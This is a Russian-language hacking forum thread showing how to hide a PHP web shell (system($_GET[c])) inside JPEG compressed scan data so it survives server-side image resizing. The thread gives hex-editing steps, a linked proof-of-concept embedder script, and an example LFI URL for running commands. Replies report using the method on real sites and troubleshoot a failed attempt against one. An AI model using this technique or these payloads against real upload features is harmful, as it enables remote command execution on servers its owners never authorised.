Старый 28.06.2013, 11:56   #1
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию Обход безопасной загрузки изображений

В 2012 году была опубликована интересная работа по встраиванию произвольного кода в PNG IDAT chunks, что позволяет сохранить необходимые данные после ресайза и ресемплирования для последующего использования при ошибках конфигурации и LFI. Но, не смотря на очень сильное ограничение на сохранение финальной картинки в PNG, никаких аналогичных работ по другим форматам никто не опубликовал.
https://www.idontplaydarts.com/2012/...g-idat-chunks/

Повторим то же самое для JPG.

Порядок обработки RGB-данных при сохранении в JPG (JFIF)
(рассматриваем самый "популярный" вариант, на каждом шаге может быть десяток других вариаций описанный действий):
1) Преобразования RGB->YCbCr (другая цветовая модель, Y - яркость, Cb Cr - цветовые компоненты)
2) Прореживание каждых 2x2 блоков по схеме "4:2:0". Цветовые компоненты усредняются для 4 пикселей и сохраняется вместо 12 значений (4 Y, 4 Cb, 4 Cr) - 6 значений (4 Y, 1 Cb, 1 Cr)
3) Для каждого блока 8x8 пикселей считается дискретное косинусное преобразование (если представить его в виде картинки, то наиболее значимые данные для обратного преобразования скапливаются в левом верхнем углу и чем дальше к правому нижнему, тем данные менее значимы)
4) Полученное преобразование квантуется по таблицам квантования (Наиболее значимые части сохраняются наиболее точно, наименее значимые наоборот. Таблицы квантования, насколько я понимаю, могут быть использованы любые, но реально используются предложенные создателями формата изображения, которые были просчитаны экспериментальным путем. От данного квантования зависит степень качества изображения - от 1 до 100)
5) Далее эти данные запаковываются кодом Хаффмана (Опять же по предопределенным таблицам)

После чего получается бинарная строка, которая добивается единицами до конца байта.

В итоге получаются следующие важные части в JPG
1) Заголовок с информацией о размерах и тп
2) 2 таблицы квантования
3) 4 таблицы Хаффмана
4) Кодированные данные изображения (именно сюда мы будем встраивать данные)

Более наглядно можно поиграться с JPG используя
1) JPEGSnoop http://www.impulseadventure.com/photo/jpeg-snoop.html
2) http://www.impulseadventure.com/phot...an-coding.html
И другие статьи с этого сайта.

Наиболее простым/кустарным/убогим алгоритмом "ручного" встраивания PHP-кода в кодированные данные изображения будет следующим
1) Формируем PHP-мини шелл, который корректно декодируется с использованием таблиц Хаффмана
2) Встраиваем его в начало данных изображения
3) Дополняем код корректной битовой последовательностью (для простоты это будет ~100 нулл-байтов) до необходимого количества MCU (JPEG Minimum Coded Unit, в случае схемы 4:2:0 это кодированное представление 6 значений 4 Y, 1 Cb, 1 Cr)
4) Открываем в PHP данное изображение и смотрим в ошибке, сколько лишних байт получилось, и отрезаем их

При таком алгоритме нужно соблюсти условия: качество и размер итогового изображения должны быть равны исходному.
Для этого можно просто пропустить произвольное изображение через функцию "защищенной" загрузки файлов и скачать себе обработанное изображение.


А теперь тоже самое, только в картинках
1) Для примера я взял мини-шелл
PHP код:
<?=system($_GET[c]);?>
И картинку



2) Открываем в Hex редакторе jpg и находим начало кодированных данных изображения (если это изображение обработано php, то нужный нам блок идет последним)



3) Вставляем в начало свой PHP-код и нулл-байты с запасом (кодированные данные читаются вплоть до маркера конца изображения, так что о длине можно не беспокоиться)



4) Открываем получившееся изображение в JPEGSnoop и проверяем в секциях
Код:
*** Marker: SOS (Start of Scan) (xFFDA) ***
*** Decoding SCAN Data ***
Нет никаких ошибок выделенных красным цветом (если они есть, то либо не хватило вставленных нулл-байтов, либо во встроенном коде образовались битовые последовательности, которые не соответствуют коду Хаффмана)

5) Открываем данное изображение в PHP
PHP код:
<?php
    imagecreatefromjpeg
('jpeg_begin.jpg');
?>
Так как мы вставляли нулл-байты с запасом, libjpeg ругнется и скажет, сколько байт лишних:
Код:
Warning: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error: 
Corrupt JPEG data: 2 extraneous bytes before marker 0xd9
Удаляем два последних байта перед маркером 0xffd9 и сохраняем изображение.



После чего можно снова заливать его в "защищенную" загрузку файлов с ресайзом и проверять, что код никуда не исчез.
Миниатюры
Нажмите на изображение для увеличения
Название: jpeg_1.jpg
Просмотров: 8855
Размер:	88.8 Кб
ID:	393   Нажмите на изображение для увеличения
Название: jpeg_2.jpg
Просмотров: 8892
Размер:	106.1 Кб
ID:	394  
Изображения
  
BlackFan вне форума   Ответить с цитированием
Старый 28.06.2013, 18:26   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Убогий PoC для встраивания.
http://pastebin.com/3cznqi8P

Инструкция:
1) Берем произвольную картинку
2) Заливаем в "защищенную" загрузку файлов
3) Сохраняем обработанное изображение
4) Запускаем встраиватель (если все хорошо, появится payload_<name>.jpg)
Код:
php jpg_payload.php <jpg_name.jpg>
Заметки:
1) Вполне возможно, что при ресайзе часть данных испортится, поэтому $miniShell должен быть действительно мини
2) Если даже минимальный шелл портится или встраиватель выдает "Something's wrong", то нужно менять $miniShell (заменить одну функцию на другую, добавить в начало символ и т.п.) или менять исходную картинку
Вложения
Тип файла: zip jpg_payload.zip (1.8 Кб, 1141 просмотров)

Последний раз редактировалось BlackFan; 03.07.2013 в 07:54..
BlackFan вне форума   Ответить с цитированием
Старый 03.07.2013, 07:56   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Спущено.

PS: Способ встраивания действительно упоротый и неуниверсальный, не работает если таблицы хаффмана перестраиваются при сохранении. Но в целом в PHP им можно пользоваться..

Последний раз редактировалось BlackFan; 03.07.2013 в 08:03..
BlackFan вне форума   Ответить с цитированием
Старый 07.07.2013, 16:21   #4
Воришко
 
Регистрация: 17.03.2013
Сообщений: 17
Репутация: -7
По умолчанию

BlackFan спасибо за исследования, а особенно за спуск темы в паблик.
Твой способ с JFIF форматом работает отлично, протестировал, всё как надо.
Вот с PNG проблемы, так и не получилось у меня заставить его работать.

Единственное, способ к сожалению не будет работать, если конвертация картинок происходит через линуксовую команду "convert -scale", а такое очень часто встречается, но даже из этой ситуации выход есть, так как там игнорируются служебные заголовки, оставаясь как есть, единственный момент, как правильно вставить мини шелл задача тоже сложная, у меня долго не получалось, и чисто случайно один раз как то удалось вставить мини шелл который сработал, то есть там тоже надо соблюдать какие то рамки формата заголовков.
Воришко вне форума   Ответить с цитированием
Старый 04.11.2013, 02:03   #5
follower
 
Регистрация: 01.01.2011
Сообщений: 2
Репутация: 0
По умолчанию

Заранее прошу прощения за глупый вопрос. А как потом вызвать исполнение шелла? (При условии что все условия для удачного вызова соблюдены)
конструкция http://localhost/img/jpeg_final.jpg?c=pwd верна? или нужно как-то по другому?

Последний раз редактировалось follower; 04.11.2013 в 02:07..
follower вне форума   Ответить с цитированием
Старый 04.11.2013, 13:01   #6
shampoo
 
Регистрация: 30.10.2013
Сообщений: 11
Репутация: 1
По умолчанию

Цитата:
Сообщение от follower Посмотреть сообщение
Заранее прошу прощения за глупый вопрос. А как потом вызвать исполнение шелла? (При условии что все условия для удачного вызова соблюдены)
конструкция http://localhost/img/jpeg_final.jpg?c=pwd верна? или нужно как-то по другому?
Нет, не верна. Техника позволяет лишь протащить PHP код в картинке при ресайзе, для последующей эксплуатции.
Можно юзать при корявых настройках сервера, или имея например LFI: http://site.com/lfi_vuln_script.php?file=../images/image.jpg&c=pwd
shampoo вне форума   Ответить с цитированием
Старый 13.11.2013, 18:35   #7
Белый Тигр
 
Аватар для Белый Тигр
 
Регистрация: 29.08.2010
Сообщений: 131
Репутация: 25
По умолчанию

Большое спасибо! Способ очень помог в, казалось бы, безнадёжной ситуации.
__________________
Представитель команды hack4sec
http://hack4sec.pro
Белый Тигр вне форума   Ответить с цитированием
Старый 15.03.2014, 20:08   #8
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 74
Репутация: 1
По умолчанию

Вообщем такая ситуация. На сайте с ajax формой аплоада, удается подменить расширение, но происходить валидация и ресайз копии (оригинал тоже есть).
Воспользовался скриптом, получил изображние на выходе. http://www.sendspace.com/file/j5m4sm
В нем нашел минишелл.
PHP код:
€‰Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪвгдежзийктуфхцчшщъяЪ   ? <?=system($_GET[ex]);?>
Где пробелы какието бинарные символы.
Дальше залив на сайт с расширением php, появилась ошибка
Код:
Parse error: syntax error, unexpected '?' in /1394903092payload_new.php on line 6
далее залив этот же файл с расширением jpg, увидел, что стало с минишелом
Код:
? <??OжДя …system($_GET[exZ?Пё>¦“<?>
http://www.sendspace.com/file/nbwtt0
Почему так произошло? есть ли еще шансы выполнить минишелл?

upd: в попытке поменять минишелл на получаю такие ошибки
$miniPayload = '<? phpinfo();system($_GET[ex]);?>';
Цитата:
Warning: Unexpected character in input: '' (ASCII=31) state=1 in /payload_new2.php on line 6
Parse error: syntax error, unexpected T_STRING in / on line 6

Последний раз редактировалось Ravenous; 15.03.2014 в 20:27..
Ravenous вне форума   Ответить с цитированием
Старый 16.03.2014, 06:36   #9
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Судя по всему, на сервере включен short_open_tag, а в картинке после минишелла присутствуют комбинации символов "<?".
Попробуй либо другую картинку (желательно маленькую), либо добавить в минишелл в конце __halt_compiler();

И еще, похоже ты не в том порядке делаешь.
Нужно сначала залить чистую картинку, ее обработает сервер, после чего сохраняешь ее с сервера, вставляешь шелл и снова заливаешь.

Последний раз редактировалось BlackFan; 16.03.2014 в 06:39..
BlackFan вне форума   Ответить с цитированием
Старый 09.10.2015, 22:32   #10
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 76
Репутация: 10
По умолчанию

Тут http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l предлагается ещё один вариант и скрипт генерации jpeg с пейлодом на питоне.
crlf вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot